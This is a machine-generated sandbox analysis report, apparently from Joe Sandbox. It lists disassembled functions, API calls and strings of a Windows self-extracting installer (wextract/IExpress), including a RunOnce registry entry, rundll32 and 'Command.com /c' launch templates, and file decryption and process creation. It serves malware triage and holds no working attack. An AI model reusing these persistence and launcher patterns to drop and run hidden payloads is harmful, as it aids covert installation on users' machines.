Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF681C21D52
memset.MSVCRT ref: 00007FF681C21D60
RegCreateKeyExA.KERNELBASE ref: 00007FF681C21DA2
RegQueryValueExA.KERNELBASE ref: 00007FF681C21DF7
RegCloseKey.ADVAPI32 ref: 00007FF681C21E14
GetSystemDirectoryA.KERNEL32 ref: 00007FF681C21E32
LoadLibraryA.KERNELBASE ref: 00007FF681C21E54
GetProcAddress.KERNEL32 ref: 00007FF681C21E76
FreeLibrary.KERNELBASE ref: 00007FF681C21E8F
GetSystemDirectoryA.KERNEL32 ref: 00007FF681C21EAB
LocalAlloc.KERNEL32 ref: 00007FF681C21F07
GetModuleFileNameA.KERNEL32 ref: 00007FF681C21F4A
RegCloseKey.ADVAPI32 ref: 00007FF681C21F63
RegSetValueExA.KERNELBASE ref: 00007FF681C21FD3
RegCloseKey.KERNELBASE ref: 00007FF681C21FE4
LocalFree.KERNEL32 ref: 00007FF681C21FF3

Strings

%s /D:%s, xrefs: 00007FF681C21F7F
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF681C21F94
advpack.dll, xrefs: 00007FF681C21E3E
wextract_cleanup0, xrefs: 00007FF681C21DCA, 00007FF681C21DE5, 00007FF681C21FB8
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF681C21D72
wextract_cleanup%d, xrefs: 00007FF681C21DBE
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C21ED2
DelNodeRunDLL32, xrefs: 00007FF681C21E6C

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 1522771004-3208851462
Opcode ID: 2b53b3767e793faff65087a239a43c24df66161b19351fe183ebef1a3c7f0936
Instruction ID: 4bdfba7d277e39c221b1259c3aa5a727a8bf723c2a9f60058d3292cf0f512b4b
Opcode Fuzzy Hash: 2b53b3767e793faff65087a239a43c24df66161b19351fe183ebef1a3c7f0936
Instruction Fuzzy Hash: A8814972A18A82C7EB508B21E8442B9BBB0FF8DB54F646139DA4E83754DF3CE505C740

Function 00007FF681C215F4 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 375
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF681C217A6
GetFileAttributesA.KERNEL32 ref: 00007FF681C217C0
LocalAlloc.KERNEL32 ref: 00007FF681C2182F
GetPrivateProfileIntA.KERNEL32 ref: 00007FF681C2186E
GetPrivateProfileStringA.KERNEL32 ref: 00007FF681C218B2
GetShortPathNameA.KERNEL32 ref: 00007FF681C21965

Part of subcall function 00007FF681C24F2C: LoadStringA.USER32 ref: 00007FF681C24FBC
Part of subcall function 00007FF681C24F2C: MessageBoxA.USER32 ref: 00007FF681C24FFC

Strings

AdvancedINF, xrefs: 00007FF681C2189C
.INF, xrefs: 00007FF681C21788
Command.com /c %s, xrefs: 00007FF681C21A18
DefaultInstall, xrefs: 00007FF681C2184C
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF681C21988
.BAT, xrefs: 00007FF681C219E9
Reboot, xrefs: 00007FF681C2185B
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C2171E
setupx.dll, xrefs: 00007FF681C2195E
setupapi.dll, xrefs: 00007FF681C21973
Version, xrefs: 00007FF681C218A3

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-1095083631
Opcode ID: 04e882688a3d6962a8916aaff69b712f8d647ab79ac1c3b0525099cd5c9803bb
Instruction ID: fa03966b3264d001ae24abaec8d682c680403c19a968088d9d4dcaec9e7d38dc
Opcode Fuzzy Hash: 04e882688a3d6962a8916aaff69b712f8d647ab79ac1c3b0525099cd5c9803bb
Instruction Fuzzy Hash: 24F18C62B08782D6EB618F24E4402BA7BB1FF49B94FA46139DA4D83795DF3DE509C300

Function 00007FF681C268F0 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

LocalAlloc.KERNEL32 ref: 00007FF681C2693C
lstrcmpA.KERNEL32 ref: 00007FF681C269DB
LocalFree.KERNEL32 ref: 00007FF681C26A02
LocalFree.KERNEL32 ref: 00007FF681C269B9

Part of subcall function 00007FF681C24F2C: LoadStringA.USER32 ref: 00007FF681C24FBC
Part of subcall function 00007FF681C24F2C: MessageBoxA.USER32 ref: 00007FF681C24FFC

Part of subcall function 00007FF681C27958: GetLastError.KERNEL32 ref: 00007FF681C2795C

GetTempPathA.KERNEL32 ref: 00007FF681C26A8E
GetDriveTypeA.KERNEL32 ref: 00007FF681C26B2A
GetFileAttributesA.KERNEL32 ref: 00007FF681C26B47
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF681C26B9F
MulDiv.KERNEL32 ref: 00007FF681C26BC2
GetWindowsDirectoryA.KERNEL32 ref: 00007FF681C26C36
GetFileAttributesA.KERNEL32 ref: 00007FF681C26C5B
CreateDirectoryA.KERNEL32 ref: 00007FF681C26C73
SetFileAttributesA.KERNEL32 ref: 00007FF681C26CA3
GetWindowsDirectoryA.KERNEL32 ref: 00007FF681C26D0F

Part of subcall function 00007FF681C27D28: FindResourceA.KERNEL32 ref: 00007FF681C27D52
Part of subcall function 00007FF681C27D28: LoadResource.KERNEL32 ref: 00007FF681C27D69
Part of subcall function 00007FF681C27D28: DialogBoxIndirectParamA.USER32 ref: 00007FF681C27D9F
Part of subcall function 00007FF681C27D28: FreeResource.KERNEL32 ref: 00007FF681C27DB1

Strings

A:\, xrefs: 00007FF681C26AD9
RUNPROGRAM, xrefs: 00007FF681C26924, 00007FF681C26985
Z, xrefs: 00007FF681C26B1A
msdownld.tmp, xrefs: 00007FF681C26C42
<None>, xrefs: 00007FF681C269D1
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C26A7B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-675003171
Opcode ID: 5151b4b690296a413f45ac042e329daac5bcf9e7a260b3d0364b2d4300db6156
Instruction ID: b93c628ca1ed981c363f092a0adb82af56b44b3d7965c71db5f0ddce12f44606
Opcode Fuzzy Hash: 5151b4b690296a413f45ac042e329daac5bcf9e7a260b3d0364b2d4300db6156
Instruction Fuzzy Hash: 4ED17F62A186A2C7EB509F21E4502BAB7B1FF9D741F646039DA4E83694DF3DE805CB10

Function 00007FF681C22EDC Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF681C22F30
memset.MSVCRT ref: 00007FF681C22F44

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

CreateEventA.KERNEL32 ref: 00007FF681C22F81
SetEvent.KERNEL32 ref: 00007FF681C22F97
CreateMutexA.KERNEL32 ref: 00007FF681C2302E
GetLastError.KERNEL32 ref: 00007FF681C2304A
FindResourceExA.KERNEL32 ref: 00007FF681C23116
LoadResource.KERNEL32 ref: 00007FF681C2312D

Part of subcall function 00007FF681C23D34: GetVersionExA.KERNEL32 ref: 00007FF681C23D7A

#17.COMCTL32 ref: 00007FF681C23145
CloseHandle.KERNEL32 ref: 00007FF681C230B0

Part of subcall function 00007FF681C24F2C: LoadStringA.USER32 ref: 00007FF681C24FBC
Part of subcall function 00007FF681C24F2C: MessageBoxA.USER32 ref: 00007FF681C24FFC

Strings

gam, xrefs: 00007FF681C22F58, 00007FF681C23060
VERCHECK, xrefs: 00007FF681C2310C
INSTANCECHECK, xrefs: 00007FF681C23008
TITLE, xrefs: 00007FF681C22F5F
, xrefs: 00007FF681C23097
EXTRACTOPT, xrefs: 00007FF681C22FAE

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$gam
API String ID: 3100096412-258196273
Opcode ID: 8239ea3bc8d4f488818524f145e62419a79644bd439c5a8d4d2d204e9e9bee26
Instruction ID: 506c442b0a8fa7500b7d42cfffb6578fd6f12f47d286e0dab3bb78b9e29c735b
Opcode Fuzzy Hash: 8239ea3bc8d4f488818524f145e62419a79644bd439c5a8d4d2d204e9e9bee26
Instruction Fuzzy Hash: 84814671A0C642C7FB609B65E8007BA26B0BF9D745F74703DD94EC66A1CFBCA545CA00

Function 00007FF681C26F14 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF681C26F6D
SetCurrentDirectoryA.KERNELBASE ref: 00007FF681C26F7C

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C26F2A

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CurrentDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1611563598-4151094324
Opcode ID: 4ad38f15274453923d8ffc4da5624aa26f0d8b3708517ab344ed8549bc082ecb
Instruction ID: c085b6e05f77373fb8da318a750232fb716d89655802d1b3e38c61acb81a1467
Opcode Fuzzy Hash: 4ad38f15274453923d8ffc4da5624aa26f0d8b3708517ab344ed8549bc082ecb
Instruction Fuzzy Hash: 07A14B76A18742C7E7608B60E4806AABBB2FF9D744F646139EA4D83B94DF7CD405CB00

Function 00007FF681C25F80 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C25FB0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C25FC1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C25FD0
GetDlgItem.USER32 ref: 00007FF681C25FFD
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C2600E
GetDlgItem.USER32 ref: 00007FF681C26026
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C2603A
#20.CABINET ref: 00007FF681C260AD
#22.CABINET ref: 00007FF681C260F3
#23.CABINET ref: 00007FF681C26108
FreeResource.KERNEL32 ref: 00007FF681C26151
SendMessageA.USER32 ref: 00007FF681C261B3

Strings

*MEMCAB, xrefs: 00007FF681C260E4
CABINET, xrefs: 00007FF681C25F8D, 00007FF681C25FA7

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 6bf8904781781a785fe026ead6335db9de58d868f56285484be7c9c0d168fa2d
Instruction ID: 8a14df7d6f02a02af3610b23b25bca95addae932096bce690285d71f4ab03dbf
Opcode Fuzzy Hash: 6bf8904781781a785fe026ead6335db9de58d868f56285484be7c9c0d168fa2d
Instruction Fuzzy Hash: 8D510671A08B92C7EB509B50E8552BA7AB0FF8D745FA4A13DD94E82765DFBCE004CB40

Function 00007FF681C23214 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 152
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF681C2328F
LoadLibraryA.KERNEL32 ref: 00007FF681C232B3
GetProcAddress.KERNEL32 ref: 00007FF681C232D1
DecryptFileA.ADVAPI32 ref: 00007FF681C232F5
FreeLibrary.KERNEL32 ref: 00007FF681C232FE
GetWindowsDirectoryA.KERNEL32 ref: 00007FF681C2332F

Part of subcall function 00007FF681C26294: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF681C2324B), ref: 00007FF681C262B9

Strings

DecryptFileA, xrefs: 00007FF681C232C7
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C232EE, 00007FF681C233A5
advapi32.dll, xrefs: 00007FF681C2329B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-3008067379
Opcode ID: 56ef3f4b7feec16b998466a8266caa081bf801e29d979708740ab20d7bae988f
Instruction ID: 61683dc366bd91bf5d25a564626e598ff372cf45a099e8379e1a88304adbaef8
Opcode Fuzzy Hash: 56ef3f4b7feec16b998466a8266caa081bf801e29d979708740ab20d7bae988f
Instruction Fuzzy Hash: 23710561E0C642C7FB619B24E8412B92AB0BF9D790F70703DD94DC62A1DFBCE985CA15

Function 00007FF681C26710 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF681C22E07), ref: 00007FF681C2685B

Part of subcall function 00007FF681C265A8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF681C22E07), ref: 00007FF681C26643
Part of subcall function 00007FF681C265A8: GetFileAttributesA.KERNELBASE ref: 00007FF681C26652
Part of subcall function 00007FF681C265A8: GetTempFileNameA.KERNEL32 ref: 00007FF681C2667F
Part of subcall function 00007FF681C265A8: DeleteFileA.KERNEL32 ref: 00007FF681C26697
Part of subcall function 00007FF681C265A8: CreateDirectoryA.KERNEL32 ref: 00007FF681C266A8

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF681C22E07), ref: 00007FF681C267A8
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF681C22E07), ref: 00007FF681C268B4

Strings

i386, xrefs: 00007FF681C267E7
ppc, xrefs: 00007FF681C267CC
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C26754, 00007FF681C2680B
alpha, xrefs: 00007FF681C267D5
mips, xrefs: 00007FF681C267DE

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1381881128
Opcode ID: 201d07170fcdefcbc0f83a1d7943c8f01de40c2b2ab8886ba132bb97e87172f4
Instruction ID: c5dd1edd7e2f070084bda42942881e1f43a0b05995c579095e58383f5db9ddde
Opcode Fuzzy Hash: 201d07170fcdefcbc0f83a1d7943c8f01de40c2b2ab8886ba132bb97e87172f4
Instruction Fuzzy Hash: 22514BA1A08692C3FB558B15F8142B967B0BF5DB81FB86039CD4DC2691DFBDE809C360

Function 00007FF681C22D70 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 85
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF681C22D85
GetModuleHandleW.KERNEL32 ref: 00007FF681C22DA2
GetProcAddress.KERNEL32 ref: 00007FF681C22DBD
ExitWindowsEx.USER32 ref: 00007FF681C22E92
CloseHandle.KERNEL32 ref: 00007FF681C22EB1

Strings

HeapSetInformation, xrefs: 00007FF681C22DB3
@, xrefs: 00007FF681C22E6B
Kernel32.dll, xrefs: 00007FF681C22D9B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: 2f7390ff0c0d46cb9cdc5e9bd2078a34bdbe19e23de9cb8625d4c9295115e43e
Instruction ID: 7e8480fb273938d5d9f2d261984605e74008d52bfa940a7acb610d6062ceb693
Opcode Fuzzy Hash: 2f7390ff0c0d46cb9cdc5e9bd2078a34bdbe19e23de9cb8625d4c9295115e43e
Instruction Fuzzy Hash: 8B412A71E08652C7FBA49B61E8412B976B0BF9DB81F74A13DDA1DC2295DFBCE444C600

Function 00007FF681C22034 Relevance: 12.1, APIs: 8, Instructions: 121
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE ref: 00007FF681C220D6
lstrcmpA.KERNEL32 ref: 00007FF681C22135
lstrcmpA.KERNEL32 ref: 00007FF681C22155
SetFileAttributesA.KERNEL32 ref: 00007FF681C221AE
DeleteFileA.KERNEL32 ref: 00007FF681C221BE
FindNextFileA.KERNELBASE ref: 00007FF681C221D2
FindClose.KERNELBASE ref: 00007FF681C221E9
RemoveDirectoryA.KERNELBASE ref: 00007FF681C221F8

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 91cc5e1a10547be1af5b881470c4a552975bb6d87df7be44110ed190adb22146
Instruction ID: dfa74bab08dbbdacf706f0f2b557673943535e3df38a9c1d09fe781c886ea06e
Opcode Fuzzy Hash: 91cc5e1a10547be1af5b881470c4a552975bb6d87df7be44110ed190adb22146
Instruction Fuzzy Hash: E4517C72618B86DAEB518F20D8442F977B1FF4AB94FA4A175DA1D83685DF3CE909C300

Function 00007FF681C263DC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF681C26421
DeleteFileA.KERNELBASE ref: 00007FF681C26430
LocalFree.KERNEL32 ref: 00007FF681C26443
LocalFree.KERNEL32 ref: 00007FF681C26452
SetCurrentDirectoryA.KERNELBASE ref: 00007FF681C264EB
RegOpenKeyExA.KERNELBASE ref: 00007FF681C2653E
RegDeleteValueA.KERNELBASE ref: 00007FF681C2655A
RegCloseKey.ADVAPI32 ref: 00007FF681C2656B

Strings

wextract_cleanup0, xrefs: 00007FF681C26553
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF681C26530
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C2648C

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-2700888539
Opcode ID: 412a7dec44b3798a2430baef0d9910c820e9379bb72a94b578006faa3a53e04f
Instruction ID: 2f29d7f6a2987d213407aaf4f2421313707a18ee82be84cc6142ee528daf7c85
Opcode Fuzzy Hash: 412a7dec44b3798a2430baef0d9910c820e9379bb72a94b578006faa3a53e04f
Instruction Fuzzy Hash: 16513871A08A92C7EB518B10E8543B977B0FF9DB46FA46139DA4E836A4CF7CE448C740

Function 00007FF681C24838 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF681C248B6
